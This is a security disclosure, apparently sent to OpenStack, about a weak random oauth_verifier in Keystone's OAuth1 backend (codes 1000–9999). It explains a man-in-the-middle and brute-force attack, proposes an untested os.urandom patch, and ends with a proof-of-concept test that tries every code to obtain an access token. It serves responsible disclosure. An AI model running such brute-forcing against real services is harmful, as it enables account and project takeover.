Keystone getting oauth access token by brute-forcing oauth_verifier code

Title: Keystone getting oauth access token by brute-forcing
oauth_verifier code
Reporter: Phuong Cao
Products: openstack/keystone
Affects: keystone/master branch as of Oct 7th 2013

Description:
Phuong Cao reported a vulnerability in OAuth SQL backend of
keystone/master branch.

How does the attack work?
By creating many access token requests with oauth_verifier code selected
from the range 1000 to 9999,
an attacker can request a valid access token to a role and a project,
overriding a user who actually request access to the role and the project.

Before describing in detail how the attack works, this is how OAuth
works (summarized from RFC5849)

1. Alice registers as a consumer with the Openstack admin.
2. Alice asks the Openstack admin a token with a specified role and a
project on behalf of Bob (Bob is the owner of the project).
3. The Openstack admin returns to Alice a request token key.
4. Alice sends the request token key to Bob to ask for permissions to
access the project.
5. Bob authorizes Alice's request token to have access to the project
with the specified role.
6. Bob generates an oauth_verifier code ranging from 1000 to 9999, then
sends back to Alice an oauth_verifier code.
7. Alice use the oauth_verifier code and the request token key to ask
the Openstack admin for the access token to the project.

This is how the attack works:
At step 4, assuming an attacker can sniff Alice's request token key.
This can be done by acting as a man in the middle if Alice interacts
with Keystone using HTTP requests,
or acting as a local user to list the process arguments if Alice is
interacts with Keystone using openstack commandline tools (this case is
similar to CVE 2013-2013).

Now the attacker has Alice's request token key, he/she need to wait for
Bob to authorizes Alice's request token (step 5), then repeatedly
brute-forcing Keystone with the pair(oauth_verifier, Alice's request
token key) using oauth_verifier from the range 1000 to 9999. Since the
oauth_verifier is in a short range, and Openstack/Keystone doesn't have
any mechanism to limit number of requests, the attacker can bruteforce
for the valid oauth_verifier key until the request token expires.

A more aggressive way is to keep brute-forcing Keystone until Bob
authorizes Alice's request token, by doing this the attacker will have
more chance getting the access token key before Alice.

Where are the vulnerable code locations?
Line 210 of sql.py file:
https://github.com/openstack/keystone/blob/master/keystone/contrib/oauth1/backends/sql.py#L210

In OAuth SQL backend of keystone/master branch, the oauth_verifier code,
a fundamental part of OAuth1 protocol, is generated using random numbers
from 1000 to 9999.
This is a small range of numbers and it is easy to be guessed/brute-forced.
This attack is classified as "CWE-330: Use of Insufficiently Random
Values" (http://cwe.mitre.org/data/definitions/330.html).

What are the possible fixes?
We suggest using a long random string (e.g., 32-bit or 64-bit). Using
os.urandom() is a good one, it has been recommended for generating
random number for cryptographic purposes.
A patch is attached in the attached file (please note: we haven't tested
this patch).

Where is the exploit code?
We attach a snippet code that we modify from test_bad_verifier()
Keystone test case.
The snippet is a sketch of how oauth_verifier code brute-forcing can be
implemented.

What is the affected version?
The keystone/master on github as of Oct 7th 2013 is affected.

References:
Link to oauth1 file and vulnerable code location (sql.py, line #210):
https://github.com/openstack/keystone/blob/master/keystone/contrib/oauth1/backends/sql.py#L210
CWE-330: Use of Insufficiently Random Values:
(http://cwe.mitre.org/data/definitions/330.html).
RFC5849: http://tools.ietf.org/html/rfc5849
os.urandom(): http://docs.python.org/2/library/os.html
OAuth in keystone tutorial:
http://www.unitedstack.com/blog/oauth-in-keystone/

# Patch
--- /tmp/keystone/keystone/contrib/oauth1/backends/sql.py 2013-10-07 17:06:04.170603933 -0500
+++ /home/vagrant/keystone/keystone/contrib/oauth1/backends/sql.py 2013-10-07 17:01:39.124008733 -0500
@@ -17,6 +17,8 @@
 import datetime
 import random
 import uuid
+import os
+import binascii

 from keystone.common import sql
 from keystone.common.sql import migration
@@ -207,7 +209,7 @@
             token_ref = self._get_request_token(session, request_token_id)
             token_dict = token_ref.to_dict()
             token_dict['authorizing_user_id'] = user_id
- token_dict['verifier'] = str(random.randint(1000, 9999))
+ token_dict['verifier'] = binascii.b2a_hex(os.urandom(16))
             token_dict['role_ids'] = jsonutils.dumps(role_ids)

             new_token = RequestToken.from_dict(token_dict)

# Test brute force
class MaliciousOAuth1Tests(OAuth1Tests):

    # modified from test_bad_verifier()
    def test_bruteforce_verifier(self):

        # create consumer for oauth
        consumer = self._create_single_consumer()
        consumer_id = consumer.get('id')
        consumer_secret = consumer.get('secret')
        consumer = oauth1.Consumer(consumer_id, consumer_secret)

        url, headers = self._create_request_token(consumer,
                                                  self.project_id)
        # get request token
        content = self.post(url, headers=headers)
        credentials = urlparse.parse_qs(content.result)
        request_key = credentials.get('oauth_token')[0]
        request_secret = credentials.get('oauth_token_secret')[0]
        request_token = oauth1.Token(request_key, request_secret)

        # authorize request token
        url = self._authorize_request_token(request_key)

        body = {'roles': [{'id': self.role_id}]}
        resp = self.put(url, body=body, expected_status=200)
        verifier = resp.result['token']['oauth_verifier']
        self.assertIsNotNone(verifier)

        # we are not going to use received oauth_verifier here, instead, we brute-force to find the valid oauth_verifier
        for i in range(1000,10000):
            request_token.set_verifier(str(i))
            url, headers = self._create_access_token(consumer,
                                                     request_token)
            # We expect 401 status code for most of requests since most oauth_verifier code
            # that we try will be invalid.
            # The test will crash at the valid oauth_verifier code when returned status = 201,
            # which is different from the expected 401 status.
            r = self.post(url, headers=headers, expected_status=401)

            # Print out oauth_verifier, and raw response request that contains access token.
            if (r == 201): # We have found correct oauth_verifier code
                print 'oauth_verifier: {}, raw access_token response request: {}'.format(str(i), str(r))

We are looking forward hearing from you.

Thank you.

Best,

Phuong Cao
Research Assistant
DEPEND group
Coordinated Science Laboratory
University of Illinois at Urbana Champaign
Urbana, IL 61801, USA